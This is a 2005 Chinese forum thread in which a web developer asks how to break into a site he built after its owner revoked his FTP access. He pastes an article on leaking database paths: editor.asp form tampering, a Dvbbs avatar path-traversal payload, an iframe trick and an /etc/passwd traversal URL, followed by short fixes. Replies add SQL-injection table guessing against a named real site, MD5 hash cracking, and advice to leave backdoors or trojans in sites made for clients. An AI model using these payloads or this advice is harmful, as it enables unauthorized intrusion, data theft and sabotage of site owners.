高手请进:我知道网站中conn.asp的路径,如果得到里面连接数据库的信息?

pb2005 2005-01-15 01:29:21
前段时间帮一个人做了个网站,没想到他背信弃义,把网站空间的FTP帐号改了!不过也没关系,毕竟网站是我做的,数据库的路径我还知道,放在database目录里,我把数据库下载下来后,还可以看见里面的数据;可让人气愤的是,他昨天竟然把数据库名字改了,我不能下载他的数据库了!!!
我在这里想向高手请教一下,我怎么才能把他的数据库的路径找到呢?可以肯定的是,连接数据库的conn.asp文件,我知道路径肯定没改,我要是能看到里面连接数据库的信息,就一定可以把它下载下来!conn.asp 的路径是:www.xxx.com/inc/conn.asp
我到网上搜索了一下,找到如下资料,但我试了没成功,供高手参考

数据库作为一个站点的核心部分其重要性自然不言而喻,网管们也煞费苦心的把数据库改名、加上特殊符号来增加安全性。但是最近一些安全站点的数据库路径纷纷被人找到并下载,也就是最近讨论的很热的"暴库"技术。我和紫幻以及黑客X档案的各位朋友们也对这门技术进行了研究。虽说研究成果还不是很多,但希望能起一个抛转引玉的作用。下面我就拿两个系统来做实例分析:

动力文章系统

  一般说来每一个站点程序文件中都会有一个连接数据的文件(一般是conn.asp),当然这个文件名和路径并不是固定的,有的是在站点根目录下,有的是放在专门的一个文件夹里,通常这个文件夹名为INC,文件名为conn.asp。如果把这和暴库联系起来,通常人们都会想到通过访问这个文件来得到关于数据库的信息,而实际上我们直接访问这个文件是不会得到我们想要的信息的,所以就需要结合一些漏洞来达到暴库的目的。

  首先我来简单介绍一下这个程序,动力文章系统分为商业SQL版本和免费ACCESS版本,我们这里测试的当然是ACCESS版的。程序的conn.asp文件用于连接数据库,在/INC这个目录下,数据库文件在/Database目录下。连接数据库用的是相对路径:db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"

  动力文章系统的这个数据库路径泄露隐患应该算是程序员的疏忽而造成的,由于conn.asp这个文件本身存在隐患,导致攻击者获得数据库路径。漏洞发现者:天天(即黑客X论坛叫sohu的那位MM,参与研究者:怪狗、iceyes、sniper。(漏洞分析可以参考http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。

开始的时候我们还以为editor.asp这个文件缺乏足够的验证,但是后来分析我们才发现不是editor.asp的问题。天天的那种做法只是利用editor.asp查看服务器返回信息。我们再来演示一下这攻击过程。在IE中打开这个页面,看看这个页面能够起到什么作用(如图一)。


图一

  很显然,这个文件是用于编辑文章内容的时候用的,虽然没有什么别的权限,但是我们可以编辑更改HTML页面。点击"原代码"找到这样一段内容:

<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>


  这是该页面进行身份验证的时候,将内容传递给Admin_ChkLogin.asp这个文件的内容,下面我们要做的就是把它改成conn.asp文件了:

<FORM name=Login onsubmit="return CheckForm();" action=http://www.target.com/inc/conn.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>


  改好后,点"预览",看到什么了?看到了吧!数据库路径出来了(图二)!


图二

  这是什么原因呢,让我们看看这个:

`D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb`不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。


  目录结构我开始已经说了主目录下存在INC目录(用于存放conn.asp)和DATABASE目录(数据库文件,即adsfkldfogowerjnokfdslwejhdfsjhk.mdb),那既然DATABASE目录并不在INC目录下,刚才暴露数据库的时候却显示\inc\database\呢。这就是编写人员的一大疏忽。由于INC和DATABASE属于同级目录,当我们用editor.asp连接访问conn.asp的时候,由于DATABASE并没有在INC目录下,而系统确认为你是在请求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb这个文件,而实际上没有这个文件,系统找不到这个文件自然就报错拉。要解决这个问题,最直接的方法就是和动网那样使conn.asp处于数据库文件的上级目录或同一个目录中。

动网论坛

  根据上面动力文章系统的分析我们可以得到存在数据库路径泄露这个问题的程序的标志:

1 conn.asp和调用它的文件(如INDEX.ASP)不在同一目录。
2 conn.asp连接数据库用的是相对路径。

  知道了漏洞的原理,再来理解动网得到数据库的方法也就不难了。前一段时间臭要饭的发现了动网论坛的一个大漏洞,可以转移任何文件。如果单纯利用这个漏洞,至多可以把别人论坛文件删除,却得不到任何权限。那天我和紫幻讨论这个问题的时候,突然想到了一个方法,只要我们将这个漏洞结合我们动力文章得到数据库的方法,我们很容易的就可以想到得到动网论坛数据库的方法。下面和我一起来看看动网我们该怎么做吧。

  动网的漏洞出在mymodify.asp这个文件上,它在对用户自定义头像的部分处理的过于草率,我们可以利用/.\来跳转目录并移动文件,看下面代码:

`******************
`对上传头象进行过滤与改名
if Cint(Forum_Setting(7))=1 then
on error resume next
dim objFSO,upfilename,newfilename
dim upface,memberid
set rs=conn.execute("select userid,face from [user] where userid="&userid)
memberid=rs(0)
upface=trim(rs(1))
newfilename=""
upfilename=split(upface,"/")
if ubound(upfilename)=1 and upfilename(0)="uploadFace" then
if instr(upfilename(1),"_")=0 then
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /用户定义的头像变为uploadFace/用户ID
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
end if
If Err.Number = 0 Then
conn.execute("update [user] set face=`"&newfilename&"` where userid="&userid)
end if
set objFSO=nothing
end if
end if
rs.close
set rs=nothing
end if
`对上传头象进行过滤与改名结束
`****************


  看看这句:

newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用户定义的头像变为uploadFace/用户ID_upfilename的另一部分

再看:

if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
/看见没有?最关键的部分来了,如果检测到upface代表的文件存在,则对改文件进行移动并改名!



  好了,代码分析完毕,看看我们到底应该怎么样利用它吧。注册一个用户,进入基本资料修改的页面后,关键部分就要来了。大家还记得在玩showfiles类文件的时候跳转目录来查看资料吗?类似下面的的URL,我们就利用../来跳转目录对passwd文件进行查看。提交:

http://www.target.com/show.php?file=../../../../../etc/passwd%00


  相信大家都在那里把/、\、.和..的作用了解了吧。呵呵,下面我们要做的就是跳转目录把conn.asp转移过来。在自定义头像地址那里添上这样的一句:

uploadFace/.\..\conn.asp (注意大小写)


  前面已经分析过代码了,这句话的意思应该看的懂了吧,我们把“头像”地址指向了上级目录的conn.asp。由于符合它的判断条件upface存在,所以它就会把conn.asp这个文件转移到uploadFace这个目录来,这样就符合我们玩动力文章系统的时候的第一个条件了。一般大家用的都是相对路径,所以下面我们只要调用这个文件就会知道数据库路径。新建一个HTML文件写上如下内容:

<IFRAME marginWidth=0 marginHeight=0 src="http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>


  再打开这个HTML文件,看看,数据库路径出来了吧!(如图三)


图三

安全篇

  看来问题都出在conn.asp本身,不打自招。为了安全我们得好好处理一下它。

  最笨的方法就是把它改名了,让别人猜不到路径。但是它要被很多文件调用,还得改其它地方。

  我们用相对路径的时候,数据库路径会随着调用conn.asp的文件而改变,从而产生了错误。那么我们就让连接数据库使用绝对路径,这样一来不管谁调用conn.asp数据库路径都不变了。

  我在测试动网这个漏洞的时候,发现对一些比较新的版本,就是文件挪移成功了也暴不出数据库路径。但是有的6.0版本有效。看来新的版本动网论坛对conn.asp进行了特殊的处理。对比了一下两个不同的conn.asp,发现新的conn.asp里加了这么一句:

On Error Resume Next


  这样一来,就是出错了不提示数据库信息,打死了也不招!当然以上的那些方法结合起来使用就更好了!
--------------------
文字的组合
拼成了我千般情怀
我最大的愿望就是这些文字能给你带来帮助
...全文
3677 104 打赏 收藏 转发到动态 举报
写回复
用AI写文章
104 条回复
切换为时间正序
请发表友善的回复…
发表回复
llhly 2005-01-28
  • 打赏
  • 举报
回复
现在很多都是MD5加密的密码,如果密码不够复杂,暴力破解不用一分钟//
网上很有多MD5破解的
chenypluck 2005-01-28
  • 打赏
  • 举报
回复
好经验
clcy 2005-01-28
  • 打赏
  • 举报
回复
我Q有这么严重~~~~~~~~~~~~


关注~~~~~~~~~~~~~~~~~~
myhwlj 2005-01-28
  • 打赏
  • 举报
回复
呵~~这样的事太多了。

--
爆库!!
%5c+对方的asp程序
如果coon.asp里面做的容错处理的话那就不行了。
on error resume next
!看你运气了。
pb2005 2005-01-28
  • 打赏
  • 举报
回复
我今天又发现了一个网站存在SQL注入漏洞,admin表的name和password我都取到了,可没想到密码是加密后的,费劲了半天,唉,大侠们你们说还有办法吗
myvicy 2005-01-23
  • 打赏
  • 举报
回复
我晕!什么狗屁系统啊~!
我随便输入了个用户名和密码就进去了,我还怀疑呢~~!
倒了!
一看是真的:个人信息,竟然真的出来了个人资料。
晕啊晕啊~!

富察咪咪 2005-01-21
  • 打赏
  • 举报
回复
看看原来的上传程序,是否有漏洞,如果有传个木马上去,我为别人做网站一般都留个后门的
lzjkyx 2005-01-19
  • 打赏
  • 举报
回复
大哥们,你们说的天书哪里有下呢,让小弟也研究一下好么?
pb2005 2005-01-19
  • 打赏
  • 举报
回复
网址可以帖www.china4pl.com/soft_login,但数据库结构可不能帖啊;万一让某个人给黑了,我可要承担法律责任的
bbcbs 2005-01-19
  • 打赏
  • 举报
回复
楼主,你把网址与数据库结构贴出来。。这里发了这么多网址,都不知道是哪个了
zktz1 2005-01-19
  • 打赏
  • 举报
回复
牛人呀
先收藏一下
pb2005 2005-01-19
  • 打赏
  • 举报
回复
楼上大哥,QQ多少啊,我的QQ:176819614
pb2005 2005-01-19
  • 打赏
  • 举报
回复
UP
cmlcm 2005-01-18
  • 打赏
  • 举报
回复
呵呵,你也准备研究这个了?
pb2005 2005-01-18
  • 打赏
  • 举报
回复
经典!!
cmlcm 2005-01-18
  • 打赏
  • 举报
回复
其实注入的精髓就是灵活的使用SQL语句来暴露出你想得到的信息
cmlcm 2005-01-18
  • 打赏
  • 举报
回复
你可以通过这样的URL来猜表名:http://www.71w.com/xxx.asp?id=30 and (select count(*) from admin)>=0
来测试是否存在admin这个表,如果存在这个表的话,页面将正常显示
pb2005 2005-01-18
  • 打赏
  • 举报
回复
up
cmlcm 2005-01-18
  • 打赏
  • 举报
回复
呵呵,这个完全是靠自己的经验了,没有技术可言
pb2005 2005-01-18
  • 打赏
  • 举报
回复
cmlcm(臨兵鬦者皆陣煭在前╭∩╮︶︿︶╭∩╮) :前辈,请问你是怎么猜到www.71w.com的表是admin啊???????????
加载更多回复(84)

28,390

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧